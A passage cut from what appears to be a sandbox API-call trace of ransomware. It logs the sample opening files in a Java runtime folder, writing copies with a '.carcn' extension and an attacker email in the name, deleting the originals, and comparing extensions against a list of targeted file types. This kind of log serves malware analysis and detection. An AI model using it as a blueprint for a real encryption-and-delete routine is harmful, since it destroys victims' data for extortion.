Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0260.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0260.064] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.064] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0260.065] GetLastError () returned 0x0 [0260.065] ReadFile (in: hFile=0x4b4, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x414, lpOverlapped=0x0) returned 1 [0260.186] WriteFile (in: hFile=0x33c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x420, lpOverlapped=0x0) returned 1 [0260.187] ReadFile (in: hFile=0x4b4, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.187] WriteFile (in: hFile=0x33c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xee, lpOverlapped=0x0) returned 1 [0260.187] SetEndOfFile (hFile=0x33c) returned 1 [0260.187] CloseHandle (hObject=0x33c) returned 1 [0260.188] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.188] SetEndOfFile (hFile=0x4b4) returned 1 [0260.190] CloseHandle (hObject=0x4b4) returned 1 [0260.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0260.190] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0260.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.191] lstrlenW (lpString=".doc") returned 4 [0260.191] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0260.191] lstrlenW (lpString=".docx") returned 5 [0260.191] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0260.191] lstrlenW (lpString=".pdf") returned 4 [0260.191] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0260.191] lstrlenW (lpString=".xls") returned 4 [0260.191] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0260.191] lstrlenW (lpString=".xlsx") returned 5 [0260.191] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0260.191] lstrlenW (lpString=".ppt") returned 4 [0260.191] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0260.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.191] lstrlenW (lpString=".zip") returned 4 [0260.191] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0260.191] lstrlenW (lpString=".rar") returned 4 [0260.191] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0260.191] lstrlenW (lpString=".bz2") returned 4 [0260.191] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0260.191] lstrlenW (lpString=".7z") returned 3 [0260.191] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0260.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.192] lstrlenW (lpString=".dbf") returned 4 [0260.192] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.192] lstrlenW (lpString=".1cd") returned 4 [0260.192] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.192] lstrlenW (lpString=".jpg") returned 4 [0260.192] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.192] lstrlenW (lpString=".doc") returned 4 [0260.192] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString=".docx") returned 5 [0260.192] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0260.192] lstrlenW (lpString=".pdf") returned 4 [0260.192] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString=".xls") returned 4 [0260.192] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString=".xlsx") returned 5 [0260.192] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0260.192] lstrlenW (lpString=".ppt") returned 4 [0260.192] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.192] lstrlenW (lpString=".zip") returned 4 [0260.192] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString=".rar") returned 4 [0260.192] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString=".bz2") returned 4 [0260.192] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0260.192] lstrlenW (lpString=".7z") returned 3 [0260.192] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0260.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.192] lstrlenW (lpString=".dbf") returned 4 [0260.193] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0260.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.193] lstrlenW (lpString=".1cd") returned 4 [0260.193] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0260.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0260.193] lstrlenW (lpString=".jpg") returned 4 [0260.193] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0260.193] lstrcmpiW (lpString1=".pf", lpString2=".carcn") returned 1 [0260.193] lstrlenW (lpString="sRGB.pf") returned 7 [0260.193] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0260.193] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=3144) returned 1 [0260.193] CloseHandle (hObject=0x4b4) returned 1 [0260.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0260.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.194] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0260.195] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.195] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.195] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0260.195] GetLastError () returned 0x0 [0260.195] ReadFile (in: hFile=0x4b4, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0xc48, lpOverlapped=0x0) returned 1 [0260.367] WriteFile (in: hFile=0x33c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xc50, lpOverlapped=0x0) returned 1 [0260.368] ReadFile (in: hFile=0x4b4, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.369] WriteFile (in: hFile=0x33c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xe2, lpOverlapped=0x0) returned 1 [0260.369] SetEndOfFile (hFile=0x33c) returned 1 [0260.369] CloseHandle (hObject=0x33c) returned 1 [0260.372] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.372] SetEndOfFile (hFile=0x4b4) returned 1 [0260.376] CloseHandle (hObject=0x4b4) returned 1 [0260.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0260.376] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0260.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.377] lstrlenW (lpString=".doc") returned 4 [0260.377] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0260.377] lstrlenW (lpString=".docx") returned 5 [0260.377] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0260.377] lstrlenW (lpString=".pdf") returned 4 [0260.377] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0260.377] lstrlenW (lpString=".xls") returned 4 [0260.377] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0260.377] lstrlenW (lpString=".xlsx") returned 5 [0260.377] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0260.377] lstrlenW (lpString=".ppt") returned 4 [0260.377] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0260.377] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.377] lstrlenW (lpString=".zip") returned 4 [0260.377] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0260.377] lstrlenW (lpString=".rar") returned 4 [0260.377] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0260.378] lstrlenW (lpString=".bz2") returned 4 [0260.378] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0260.378] lstrlenW (lpString=".7z") returned 3 [0260.378] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0260.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.378] lstrlenW (lpString=".dbf") returned 4 [0260.378] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0260.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.378] lstrlenW (lpString=".1cd") returned 4 [0260.378] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0260.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.378] lstrlenW (lpString=".jpg") returned 4 [0260.378] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0260.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.378] lstrlenW (lpString=".doc") returned 4 [0260.378] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0260.378] lstrlenW (lpString=".docx") returned 5 [0260.378] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0260.378] lstrlenW (lpString=".pdf") returned 4 [0260.378] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0260.378] lstrlenW (lpString=".xls") returned 4 [0260.378] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0260.378] lstrlenW (lpString=".xlsx") returned 5 [0260.378] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0260.378] lstrlenW (lpString=".ppt") returned 4 [0260.379] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0260.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.379] lstrlenW (lpString=".zip") returned 4 [0260.379] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0260.379] lstrlenW (lpString=".rar") returned 4 [0260.379] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0260.379] lstrlenW (lpString=".bz2") returned 4 [0260.379] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0260.379] lstrlenW (lpString=".7z") returned 3 [0260.379] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0260.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.379] lstrlenW (lpString=".dbf") returned 4 [0260.379] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0260.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.379] lstrlenW (lpString=".1cd") returned 4 [0260.379] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0260.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0260.379] lstrlenW (lpString=".jpg") returned 4 [0260.379] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0260.379] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0260.379] lstrlenW (lpString="content-types.properties") returned 24 [0260.380] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0260.380] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=5548) returned 1 [0260.380] CloseHandle (hObject=0x4b4) returned 1 [0260.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0260.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0260.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0260.381] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.381] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0260.382] GetLastError () returned 0x0 [0260.382] ReadFile (in: hFile=0x4b4, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x15ac, lpOverlapped=0x0) returned 1 [0260.514] WriteFile (in: hFile=0x33c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x15b0, lpOverlapped=0x0) returned 1 [0260.515] ReadFile (in: hFile=0x4b4, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.515] WriteFile (in: hFile=0x33c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x104, lpOverlapped=0x0) returned 1 [0260.516] SetEndOfFile (hFile=0x33c) returned 1 [0260.516] CloseHandle (hObject=0x33c) returned 1 [0260.517] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.517] SetEndOfFile (hFile=0x4b4) returned 1 [0260.520] CloseHandle (hObject=0x4b4) returned 1 [0260.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0260.659] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0260.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.754] lstrlenW (lpString=".doc") returned 4 [0260.754] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0260.755] lstrlenW (lpString=".docx") returned 5 [0260.755] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0260.755] lstrlenW (lpString=".pdf") returned 4 [0260.755] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0260.755] lstrlenW (lpString=".xls") returned 4 [0260.755] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0260.755] lstrlenW (lpString=".xlsx") returned 5 [0260.755] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0260.755] lstrlenW (lpString=".ppt") returned 4 [0260.755] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0260.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.755] lstrlenW (lpString=".zip") returned 4 [0260.755] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0260.755] lstrlenW (lpString=".rar") returned 4 [0260.755] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0260.755] lstrlenW (lpString=".bz2") returned 4 [0260.755] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0260.755] lstrlenW (lpString=".7z") returned 3 [0260.755] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0260.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.755] lstrlenW (lpString=".dbf") returned 4 [0260.755] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0260.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.755] lstrlenW (lpString=".1cd") returned 4 [0260.755] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0260.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.755] lstrlenW (lpString=".jpg") returned 4 [0260.755] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0260.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.756] lstrlenW (lpString=".doc") returned 4 [0260.756] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0260.756] lstrlenW (lpString=".docx") returned 5 [0260.756] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0260.756] lstrlenW (lpString=".pdf") returned 4 [0260.756] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0260.756] lstrlenW (lpString=".xls") returned 4 [0260.756] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0260.756] lstrlenW (lpString=".xlsx") returned 5 [0260.756] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0260.756] lstrlenW (lpString=".ppt") returned 4 [0260.756] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0260.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.756] lstrlenW (lpString=".zip") returned 4 [0260.756] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0260.756] lstrlenW (lpString=".rar") returned 4 [0260.756] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0260.756] lstrlenW (lpString=".bz2") returned 4 [0260.756] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0260.756] lstrlenW (lpString=".7z") returned 3 [0260.756] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0260.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.756] lstrlenW (lpString=".dbf") returned 4 [0260.756] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0260.756] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.757] lstrlenW (lpString=".1cd") returned 4 [0260.757] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0260.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0260.757] lstrlenW (lpString=".jpg") returned 4 [0260.757] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0260.757] lstrcmpiW (lpString1=".data", lpString2=".carcn") returned 1 [0260.757] lstrlenW (lpString="currency.data") returned 13 [0260.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0261.701] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=4122) returned 1 [0261.701] CloseHandle (hObject=0x528) returned 1 [0261.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0261.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0262.116] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.116] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.116] CreateFileW 